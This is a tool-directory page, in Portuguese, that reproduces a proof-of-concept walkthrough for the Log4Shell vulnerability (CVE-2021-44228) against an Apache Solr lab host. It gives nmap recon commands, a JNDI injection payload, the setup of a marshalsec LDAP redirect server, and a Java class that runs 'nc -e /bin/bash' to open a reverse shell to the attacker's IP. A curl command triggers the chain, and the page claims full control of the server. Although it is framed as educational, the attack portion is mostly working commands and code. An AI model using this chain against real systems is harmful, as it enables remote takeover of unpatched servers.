Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-44228 — Vulnerabilidade Log4j RCE - CVE-2021-44228 | Kitploit
Ferramentas/GitHubGitHub/lucaspdiniz/cve-2021-44228
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHublucaspdiniz/cve-2021-44228

CVE-2021-44228

Vulnerabilidade Log4j RCE - CVE-2021-44228

Ver Repositório
144há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade Log4j - CVE-2021-44228 📗

  • Introdução

Esta vulnerabilidade foi descoberta em 9 de dezembro de 2021, identificada como CVE-2021-44228, esta falha afeta o pacote de log Java, gerando uma Pontuação de Gravidade (CVSS) de 10 pontos , fornecendo execução de acesso remoto ao host. Esta vulnerabilidade é conhecida pela comunidade de segurança como LOG4SHELL.

se você quiser uma lista de fornecedores de software afetados pela vulnerabilidade LOG4J, verifique o repositório abaixo;

GitHub/Log4jAttackSurface

  • Reconhecimento

Para demonstrar este tipo de ataque, temos um host com a versão vulnerável (Apache Solr 8.11.0) do pacote log4j com Java 1.8.0_181.

Comece com um reconhecimento básico para entender quais portas estão abertas nesta máquina usando a ferramenta nmap (ou qualquer outra de seu interesse).

nmap -v -p- poc.log4j - Host vulnerável

Nmap
Neste caso, foram encontradas 3 portas abertas. Vamos melhorar nosso nmap, informando apenas as portas abertas e o comando -sV (Retorna a versão da aplicação da porta)

nmap -v -p22,111,8983 -sV poc.log4j

versão
Possivelmente temos um Apache rodando na Porta 8983. Abaixo podemos confirmar o Apache, esta instância do Apache Solr é provisionada sem nenhum dado. É uma instalação plana, vanilla e absolutamente mínima.

  • Prova de Conceito 📚

O principal vetor de ataque para log4j está no log da aplicação, onde se olharmos para a tela do Solr, podemos ver o log habilitado em Dsolr.log.dir.

Observe que o endpoint de URL que você acabou de descobrir precisa ser precedido pelo prefixo solr/ ao visualizá-lo pela interface web. Isso significa que você deve visitar:

http://poc.log4j:8983/solr/admin/cores

  • por que /admin/cores ❓ 💬
    Aqui encontramos a vulnerabilidade que pode ser explorada. Esta é uma chamada que recebe uma variável (params={}) para ser executada, podemos manipular esta entrada e enviar nosso payload. Abaixo podemos ver um log gerado pelo Apache chamando esta URL /admin/cores. codelog

O formato da sintaxe usual que tira proveito disso é assim;

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Esta sintaxe indica que o log4j invocará funcionalidades do "JNDI", ou "Java Naming and Directory Interface". Em última análise, isso pode ser usado para acessar recursos externos, ou "referências", que é o que é armado neste ataque. Observe o esquema ldap://, isso indica que o alvo alcançará um endpoint (um local controlado pelo atacante, no caso deste ataque) através do protocolo LDAP.

Onde poderíamos inserir esta sintaxe do ldap?

Você pode simplesmente fornecer variáveis ou parâmetros HTTP GET que serão então processados e analisados pelo log4j. Tudo o que é necessário é esta única linha de texto -- e isso torna esta vulnerabilidade extremamente fácil de explorar.

Outros locais onde você pode fornecer esta sintaxe JNDI:

  • Campos de entrada, formulários de login de usuário e senha, pontos de entrada de dados dentro de aplicações.
  • Cabeçalhos HTTP como User-Agent, X-Forwarded-For, ou outros cabeçalhos personalizáveis.
  • Qualquer lugar para dados fornecidos pelo usuário.

O Host é realmente vulnerável?

Neste passo, depois de descobrirmos uma versão do log4j no host alvo, precisamos testá-la e ver se essa versão é vulnerável.

Abrimos a porta 6666 no host atacante.

nc -vnlp 6666

Faça uma requisição incluindo esta sintaxe primitiva de payload JNDI como parte dos parâmetros HTTP. Isso pode ser facilmente feito com o utilitário de linha de comando curl.

codelog

ao executar o payload, obtemos o retorno em nosso netcat na porta 6666. 🙌

codelog

Neste ponto, você verificou que o alvo é de fato vulnerável ao ver esta conexão capturada em seu listener netcat. No entanto, ela fez uma requisição LDAP... então todo o seu listener netcat pode ter visto apenas caracteres não imprimíveis (bytes estranhos). Agora podemos construir sobre esta base para responder com um manipulador LDAP real.

Vamos Explorar 🤘

Como vimos no curl acima, conseguimos usar o protocolo LDAP para receber uma requisição em nosso NC. no entanto, como usamos outro protocolo, não conseguimos visualizar ou manipular a resposta.

O próximo passo é criar um servidor LDAP para podermos lidar com as requisições, vamos lá!

  • Para acelerar esta POC, usaremos o utilitário já pronto em https://github.com/mbechler/marshalsec

  • Precisamos usar o maven para usar o script marshalsec. Maven disponível em apt install maven

  • Dentro do repositório marshalsec, comece com o maven mvn clean package -DskipTests

  • Após construir o jar, podemos iniciar o servidor LDAP para redirecionar requisições

root@kitploit:~
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

codelog

Preparando o Exploit

Deixaremos o servidor LDAP rodando e criaremos o script para explorar o servidor.

  • Abaixo está o exploit que usaremos. Abaixo está o exploit que usaremos. Ele é escrito em Java. Crie um arquivo Exploit.java com a classe abaixo.
root@kitploit:~
#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • Vamos compilar o exploit com javac Exploit.java -source 8 -target 8. O arquivo Exploit.class será criado.

  • Com o exploit pronto, vamos hospedá-lo no servidor Python python3 -m http.server.

  • Vamos abrir uma porta com NC para receber o comando bash Java que criamos anteriormente. criamos um novo nc -lnvp 9999.

  • Vamos colocar tudo para funcionar! Vamos fazer um CURL forçando o servidor a procurar nosso exploit na porta 8000 que criamos com Python.

root@kitploit:~
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'
  • Pronto! 👏 Temos controle total do servidor.

Ok, mas como tudo isso aconteceu ❓

  • Abaixo está um exemplo simples do fluxo de exploração.

Baixar ferramenta